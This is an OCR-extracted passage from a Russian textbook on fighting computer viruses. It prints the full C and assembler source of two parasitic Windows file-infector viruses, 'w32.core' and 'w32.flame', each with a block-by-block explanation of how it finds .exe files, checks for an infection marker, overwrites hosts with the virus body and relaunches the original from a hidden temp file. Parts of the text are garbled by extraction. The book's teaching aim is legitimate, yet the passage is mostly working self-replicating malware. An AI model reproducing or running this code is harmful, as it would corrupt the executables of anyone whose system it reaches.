Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

Технологии борьбы с компьютерными вирусами. Практическое пособие

.pdf
Скачиваний:
0
Добавлен:
15.08.2026
Размер:
1 Мб
Скачать

Windows вирусы

171

 

 

ReadFile(fh,mh,size1,&size1,NULL);

// Читаем ее в память

CloseHandle(fh);

// Закрываем файл

fh=CreateFileA("w32drv.exe",GENERIC_WRITE,FILE_SHARE_WRITE,0,1,32,0); // Создаем

 

// ôàéë

WriteFile(fh,mh,size1,&size1,NULL);

// с именем w32drv.exe и пишем туда программу

VirtualFree(mh,size1,16384);

// Освобождаем память

CloseHandle(fh);

// Закрываем файл

WinExec("w32drv.exe",1);

// Запускаем программу

SetFileAttributes("w32drv.exe",2);

// Ставим атрибут "скрытый"

DeleteFileA("w32drv.exe");

// Пытаемся удалить w32drv.exe

}

 

 

 

//---------------------------------------------

 

 

 

int main(int argc, char *argv[])

// Основная программа

{

 

 

 

HANDLE find_handle;

//

 

WIN32_FIND_DATA ff;

// Переменные

double size=53248;

//

 

HANDLE mh;

 

//

 

HANDLE fh;

 

 

 

char msg1[50]="[ VIRUS WIN32 PARASITIC -=w32.core=- ]"; // Имя вируса

DeleteFileA("w32drv.exe");

// Пытаемся удалить w32drv.exe

find_handle=FindFirstFileA("*.exe",&ff); // Поиск первого файла

while (1)

// Бесконечный цикл инфицирования

{

 

 

 

if (!test(ff)) // Если файл не заражен, будем заражать

{

 

 

 

mh=VirtualAlloc(NULL,ff.nFileSizeLow,MEM_COMMIT,PAGE_READWRITE); // Выделяем память

fh=CreateFileA(ff.cFileName,GENERIC_READ,FILE_SHARE_READ,0,3,128,0); // Открываем

ReadFile(fh,mh,ff.nFileSizeLow,&ff.nFileSizeLow,NULL); // и читаем найденный файл в

CloseHandle(fh);

 

// память, после этого его закрываем

CopyFileA(argv[0],ff.cFileName,0); // Копируем вирус в найденный файл fh=CreateFileA(ff.cFileName,GENERIC_WRITE,FILE_SHARE_WRITE,0,3,128,0); // Открываем _llseek((int)fh,size,FILE_BEGIN); // файл и переходим к концу вирусного тела WriteFile(fh,mh,ff.nFileSizeLow,&ff.nFileSizeLow,NULL); // Дописываем оригинальную VirtualFree(mh,ff.nFileSizeLow,16384); // программу, освобождаем память CloseHandle(fh); // Закрываем файл

}

nexta:

if (!FindNextFileA(find_handle,&ff)) break; // Файлы кончились - выходим из цикла

}

FindClose(find_handle); // Закрываем поиск

restore(argv[0]); // Вызываем функцию запуска оригинальной программы

return(0); // Конец программы

}

//---------------------------------------------

172 Windows вирусы

Подробно проанализируем данный вирус. Начнем с первого блока:

//---------------------------------------------

 

 

bool test(WIN32_FIND_DATA ff)

// Функция проверки на инфицированность

{

 

 

HANDLE fh;

//

Переменные

char buff[2000];

//

 

fh=CreateFileA(ff.cFileName,GENERIC_READ,FILE_SHARE_READ,0,3,128,0); // Открытие // файла

ReadFile(fh,buff,2000,&ff.nFileSizeLow,NULL); // Чтение из файла 2000 байт в буфер

CloseHandle(fh);

 

// Закрытие файла

if ((buff[1550]=='Q')&&(buff[1551]=='3'))

{return(TRUE);} // Если файл заражен,

else {return(FALSE);}

// то возвращаем

1 иначе 0

}

//---------------------------------------------

В данном блоке находится функция проверки найденного файла на инфицированность. В качестве параметра она получает данные результатов поиска. Сначала открывается найденный файл на чтение, после этого из него читается 2000 байт в переменную буфер. После этого файл закрывается. А вывод о том, инфицирован ли файл или нет, делается на основании 1550 и 1551 байта найденной программы.

Перейдем ко второму блоку:

//---------------------------------------------

 

void restore(char *fname)

// Функция запуска оригинального файла

{

 

HANDLE mh;

//

HANDLE fh;

// Переменные

unsigned long size1; //

fh=CreateFileA(fname,GENERIC_READ,FILE_SHARE_READ,0,3,128,0);// Открываем файл, из

size1=GetFileSize(fh,0); // которого был запущен вирус, и получаем его размер

mh=VirtualAlloc(NULL,size1,MEM_COMMIT,PAGE_READWRITE); //Выделяем память

_llseek((int)fh,53248,FILE_BEGIN);

// Переходим

за тело вируса к программе

ReadFile(fh,mh,size1,&size1,NULL);

// Читаем ее

в память

CloseHandle(fh);

// Закрываем

ôàéë

fh=CreateFileA("w32drv.exe",GENERIC_WRITE,FILE_SHARE_WRITE,0,1,32,0); // Создаем // файл

WriteFile(fh,mh,size1,&size1,NULL); // с именем w32drv.exe и пишем туда программу

VirtualFree(mh,size1,16384);

// Освобождаем память

CloseHandle(fh);

// Закрываем файл

WinExec("w32drv.exe",1);

// Запускаем программу

Windows вирусы

173

 

 

SetFileAttributes("w32drv.exe",2);

// Ставим атрибут "скрытый"

DeleteFileA("w32drv.exe");

// Пытаемся удалить w32drv.exe

//---------------------------------------------

 

В данном блоке сначала открываем программу, из которой стартовал вирус, затем получаем ее размер. После этого выделяем необходимое количество памяти. Переходим к концу вируса в данном файле. Далее читаем в память все, что идет после тела вируса, а после этого закрываем файл. После этих действий создаем файл с именем w32drv.exe, пишем в него все то, что было прочитано в память. Затем освобождаем память и закрываем файл. В конце концов, мы запускаем оригинальную программу, теперь находящуюся в файле w32drv.exe, затем устанавливаем ей атрибут «скрытый» и удаляем данный файл.

Переходим к третьему блоку:

//---------------------------------------------

DeleteFileA("w32drv.exe"); // Пытаемся удалить w32drv.exe

find_handle=FindFirstFileA("*.exe",&ff); // Поиск первого файла //---------------------------------------------

Это довольно маленький блок, в котором вначале идет попытка удалить файл w32drv.exe, а затем поиск первого файла по маске «*.exe».

Переходим к четвертому блоку:

//---------------------------------------------

while (1) // Бесконечный цикл инфицирования

{

if (!test(ff)) // Если файл не заражен, будем заражать

{

mh=VirtualAlloc(NULL,ff.nFileSizeLow,MEM_COMMIT,PAGE_READWRITE); // Выделяем память fh=CreateFileA(ff.cFileName,GENERIC_READ,FILE_SHARE_READ,0,3,128,0); // Открываем

ReadFile(fh,mh,ff.nFileSizeLow,&ff.nFileSizeLow,NULL);

// и читаем найденный файл в

CloseHandle(fh);

// память, после

этого его закрываем.

CopyFileA(argv[0],ff.cFileName,0); // Копируем вирус в найденный файл fh=CreateFileA(ff.cFileName,GENERIC_WRITE,FILE_SHARE_WRITE,0,3,128,0); // Открываем _llseek((int)fh,size,FILE_BEGIN); // файл и переходим к концу вирусного тела WriteFile(fh,mh,ff.nFileSizeLow,&ff.nFileSizeLow,NULL); // Дописываем оригинальную VirtualFree(mh,ff.nFileSizeLow,16384); // программу, освобождаем память CloseHandle(fh); // Закрываем файл

}

nexta:

if (!FindNextFileA(find_handle,&ff)) break; // Файлы кончились - выходим из цикла

}

//---------------------------------------------

В данном блоке непосредственно и происходит инфицирование. Сначала вызывается функция, проверяющая, инфицирован ли найденный нами файл. Если нет, то выделяется память для размещения там этого файла. Затем открывается найденный файл на чтение, и весь читается в выделенную память. После этого файл закрывается, затем вирусная программа копируется в найденный файл. Затем тот же файл открывается, но уже на запись, и перед записью происходит перемещение указателя на конец тела вируса, после этого из памяти переписы-

174 Windows вирусы

вается файл. После этой «дозаписи» файл закрывается, и, если файлы закончи- лись, идет выход из бесконечного цикла инфицирования.

Теперь последний, пятый блок:

//---------------------------------------------

FindClose(find_handle); // Закрываем поиск

restore(argv[0]); // Вызываем функцию запуска оригинальной программы

return(0); // Конец программы //---------------------------------------------

В начале данного блока закрывается поиск, затем идет вызов функции запуска оригинального файла, и после всего этого работа основной программы завершается.

Рассмотрим вирус, реализованный на Ассемблере и работающий по тому же принципу. Можно сказать, что это родной брат предыдущего вируса.

Следует рассмотреть, как выглядит файл до инфицирования и после: а) до инфицирования:

б) после инфицирования:

Переходим к листингу:

;----------------------------------------------

.386

.model flat

;Далее идут импортируемые функции

extrn

ExitProcess:PROC

extrn

FindFirstFileA:PROC

extrn

CopyFileA:PROC

extrn

GetCommandLineA:PROC

extrn

FindNextFileA:Proc

extrn

lstrcpyA:PROC

extrn

FindClose:PROC

extrn

VirtualAlloc:PROC

extrn

GetFileSize:PROC

extrn

CreateFileA:PROC

extrn

ReadFile:PROC

extrn

WriteFile:PROC

extrn

VirtualFree:PROC

extrn

CloseHandle:PROC

extrn

_llseek:PROC

extrn

WinExec:PROC

extrn

DeleteFileA:PROC

Windows вирусы

 

175

 

 

 

extrn

SetFileAttributesA:PROC

 

.data

 

 

; Область данных

fHnd:

dd

?

; Хэндл файла

mHnd:

dd

?

; Хэндл памяти

size2Read

dd

0

; Переменная для операций

 

 

 

; чтения/записи

fsize

dd

?

 

EXE_file DB find_file db WIN32_FIND_DATA host_name db Find_data_name equ

file_size

equ

Fhandle

dd

tmp1

db

msg

db

'*.exe',0

; Маска поиска файлов

313

dup(?)

; Переменная типа

100

dup(?)

; Переменная для имени файла

2ch

 

; Смещение на имя файла

 

 

; â WIN32_FIND_DATA

20h

 

; Смещение на размер файла

 

 

; â WIN32_FIND_DATA

?

 

; Хэндл поиска

'wbase32dll.exe',0

; Имя временного файла

0ah,'[ WIN32 PARASITIC VIRUS -=w32.flame=- ]' ; Имя вируса

.code

;

;----------------------------------------------

 

start:

; С этого места начинается

 

; программа

;Функция GetCommandLineA()

;Возвращает в eax смещение на командную строку

Call

GetCommandLineA

; Данной функции параметры

 

 

; не передаются

push

eax

; Положим в стек смещение

 

 

; на командную строку

push

offset host_name

; Копируем ее в

 

 

; переменную host_name

 

 

;

call

lstrcpyA

; Вызываем функцию

 

 

; копирования строки

;----------------------------------------------

 

 

push

offset tmp1

; Удаление временного файла

call

DeleteFileA

;

;----------------------------------------------

 

 

;Функция FindFirstFileA(LPSTR lpszSearchFile, LPWIN32_FIND_DATA lpffd)

;Возвращает хэндл поиска

push

OFFSET find_file

; Положим в стек смещение

 

 

; íà find_file

push

OFFSET EXE_file

; Положим в стек смещение

 

 

; на маску поиска

call

FindFirstFileA

; Вызываем функцию

 

 

; FindFirstFileA

cmp

EAX, -1

; Если нет ни одного

 

 

; нужного нам файла,

176

 

Windows вирусы

 

 

 

je

End_it

; то идем на выход

 

 

; Иначе

mov

[Fhandle],eax

; в переменной Fhandle

 

 

; сохраняем хэндл поиска

infect:

 

 

;----------------------------------------------

 

push

00000004h

; Страница для чтения/записи

push

00001000h

;

push

dword ptr[find_file+file_size]

; Количество резервируемой памяти

push

0h

; Система сама решает, где

 

 

; брать память

call

VirtualAlloc

 

cmp

eax,0

 

je

End_it

; Память закончилась

mov

dword ptr [mHnd],eax

; Сохраняем хэндл на память

;----------------------------------------------

 

push

0

 

push

00000080h

 

push

3

 

push

0

 

push

00000001h

 

push

80000000h

 

push

offset find_file+Find_data_name

 

call

CreateFileA

; Открываем найденный файл

 

 

; для чтения

cmp

eax,-1

 

je

infErrOutC

; Что-то он не открывается

mov

dword ptr [fHnd],eax

; Сохраняем хэндл

push

0

 

mov

dword ptr [size2Read],0

 

lea

eax,size2Read

 

push

eax

 

push

dword ptr [find_file+file_size]

 

push

dword ptr [mHnd]

 

push

dword ptr [fHnd]

 

call

ReadFile

; Читаем весь файл в память

push

dword ptr [fHnd]

; Закрываем файл

call

CloseHandle

 

check:

 

 

mov

eax,dword ptr [mHnd]

 

add

eax,600h

 

cmp

dword ptr [eax],0002aee8h

; Проверка на инфицированность

je

f_next

 

;----------------------------------------------

 

push

0

; Копируем вирус в найденный файл

push

offset find_file + Find_data_name ;

push

offset host_name

;

Windows вирусы

 

177

 

 

 

call

CopyFileA

;

;----------------------------------------------

 

xor

eax,eax

 

push

eax

 

push

00000080h

 

push

3

 

push

eax

 

push

00000001h OR 00000002h

 

push

40000000h OR 80000000h

 

lea

eax,find_file+Find_data_name

 

push

eax

 

call

CreateFileA

; Открываем файл на чтение/запись

cmp

eax,-1

 

je

End_it

; Что-то не открывается

mov

dword ptr [fHnd],eax

; Сохраняем хэндл

push

0

 

push

1000h

 

push

dword ptr [fHnd]

 

call

_llseek

; Переходим на конец вируса

push

0

 

mov

dword ptr [size2Read],0

 

lea

eax,size2Read

 

push

eax

 

push

dword ptr[find_file+file_size]

 

push

dword ptr [mHnd]

 

push

dword ptr [fHnd]

; Дописываем оригинальный файл

call

WriteFile

; после вируса

push

00004000h

 

push

dword ptr [find_file+file_size]

 

push

dword ptr [mHnd]

 

call

VirtualFree

; Освобождаем память

infErrOutC:

 

 

push

dword ptr [fHnd]

; Закрываем файл

call

CloseHandle

 

;----------------------------------------------

 

find_next:

 

 

Call

Fnext

; Вызов процедуры поиска

 

 

; следующего файла

cmp

eax,0

; Если файлы кончились,

jne

infect

; значит, двигаемся к выходу

End_it:

 

 

push

offset [Fhandle]

; Закрываем поиск

call

FindClose

;

call

restore

; Вызываем процедуру запуска

 

 

; Оригинальной программы

push

0

;

call

ExitProcess

; Завершение программы

;----------------------------------------------

178

Windows вирусы

 

 

Fnext:

; Процедура поиска следующего

 

; файла

;bool FindNextFileA( handle, pointer find_file)

;Возвращает 0, если файлов больше нет, и 1 в обратном случае

push

offset find_file

; Положим в стек смещение

 

 

; íà find_file

push

[Fhandle]

; Положим в стек хэндл

call

FindNextFileA

; Вызываем функцию поиска

 

 

; следующего файла

ret

 

; Возврат из процедуры

;----------------------------------------------

 

restore:

 

 

xor

eax,eax

 

push

eax

 

push

00000080h

 

push

3

 

push

eax

 

push

00000001h

 

push

80000000h

 

mov

eax,offset host_name

 

push

eax

 

call

CreateFileA

; Откроем сами себя для чтения

cmp

eax,-1

 

je

konec

; Не открывается

mov

dword ptr [fHnd2],eax

; Сохраняем хэндл

push

0

;

push

1000h

;

push

eax

; Переходим к концу вируса

call

_llseek

;

push

0

;

push

dword ptr[fHnd2]

; Узнаем размер файла, из которого

call

GetFileSize

; мы стартовали

cmp

eax,-1

; Если ошибки, то на выход

je

konec

;

sub

eax,1000h

; Отнимем от полученного размера

mov

dword ptr[fsize],eax

; длину вируса

cmp

eax,0h

; Если после вируса нет

je

konec

; программы, то двигаемся на выход

push

00000004h

;

push

00001000h

; Выделяем память для

push

dword ptr[fsize]

; оригинальной программы

push

0h

;

call

VirtualAlloc

 

cmp

eax,0

 

je

konec

; Памяти нет, плохо...

mov

dword ptr [mHnd2],eax

; Сохраняем хэндл памяти

Windows вирусы

 

179

 

 

 

push

0

 

mov

dword ptr [size2Read],0

 

lea

eax,size2Read

 

push

eax

 

push

dword ptr [fsize]

 

push

dword ptr [mHnd2]

 

push

dword ptr [fHnd2]

 

call

ReadFile

; Читаем оригинальную

 

 

; программу в память

push

dword ptr [fHnd2]

; Закрываем файл

call

CloseHandle

 

xor

eax,eax

 

push

eax

 

push

00000020h

 

push

1

 

push

eax

 

push

00000001h OR 00000002h

 

push

40000000h

 

lea

eax,tmp1

 

push

eax

 

call

CreateFileA

; Создаем новый файл с

 

 

; именем w32drv.exe

cmp

eax,-1

;

je

konec

; Не вышло - на выход

mov

dword ptr [fHnd2],eax

; Сохраняем хэндл

push

0

 

mov

dword ptr [size2Read],0

 

lea

eax,size2Read

 

push

eax

 

push

dword ptr[fsize]

 

push

dword ptr [mHnd2]

 

push

dword ptr [fHnd2]

; Записываем оригинальную

call

WriteFile

; программу в файл w32drv.exe

cmp

eax,-1

;

je

konec

; Что-то не пишется,

 

 

; движемся к выходу

push

dword ptr [fHnd2]

; Закрываем файл

call

CloseHandle

;

push

00004000h

 

push

dword ptr [fsize]

 

push

dword ptr [mHnd2]

 

call

VirtualFree

; Освобождаем память

push

1

;

push

offset tmp1

;

Call

WinExec

; Запускаем файл w32drv.exe

push

2

;

push

offset tmp1

; Устанавливаем атрибут у

 

 

; файла "скрытый"

call

SetFileAttributesA

;

180

 

Windows вирусы

 

 

 

push

offset tmp1

; Пытаемся удалить файл w32drv.exe

call

DeleteFileA

;

ret

 

; Возврат из процедуры

;----------------------------------------------

 

 

end

start

 

;----------------------------------------------

 

 

Разберем данный вирус по блокам, но в данном случае блоки будут довольно больших размеров, так как главными частями данного вируса являются вызовы процедур WIN API.

Начинаем с первого блока:

;----------------------------------------------

 

start:

; С этого места начинается

 

; программа

;Функция GetCommandLineA()

;Возвращает в eax смещение на командную строку

Call

GetCommandLineA

; Данной функции параметры

 

 

; не передаются

push

eax

; Положим в стек смещение

 

 

; на командную строку

push

offset host_name

; Копируем ее в

 

 

; переменную host_name

 

 

;

call

lstrcpyA

; Вызываем функцию

 

 

; копирования строки

;----------------------------------------------

 

 

push

offset tmp1

; Удаление временного файла

call

DeleteFileA

;

;----------------------------------------------

 

 

;Функция FindFirstFileA(LPSTR lpszSearchFile, LPWIN32_FIND_DATA lpffd)

;Возвращает хэндл поиска

push

OFFSET find_file

; Положим в стек смещение

 

 

; íà find_file

push

OFFSET EXE_file

; Положим в стек смещение

 

 

; на маску поиска

call

FindFirstFileA

; Вызываем функцию

 

 

; FindFirstFileA

cmp

EAX, -1

; Если нет ни одного

 

 

; нужного нам файла,

je

End_it

; то идем на выход

 

 

; Иначе

mov

[Fhandle],eax

; в переменной Fhandle

;----------------------------------------------

 

 

В данном блоке выполняется 3 основных действия:

1)имя программы, из которой мы запущены, сохраняется в переменную host_name;

2)удаляется файл w32drv.exe;

Соседние файлы в предмете [НЕСОРТИРОВАННОЕ]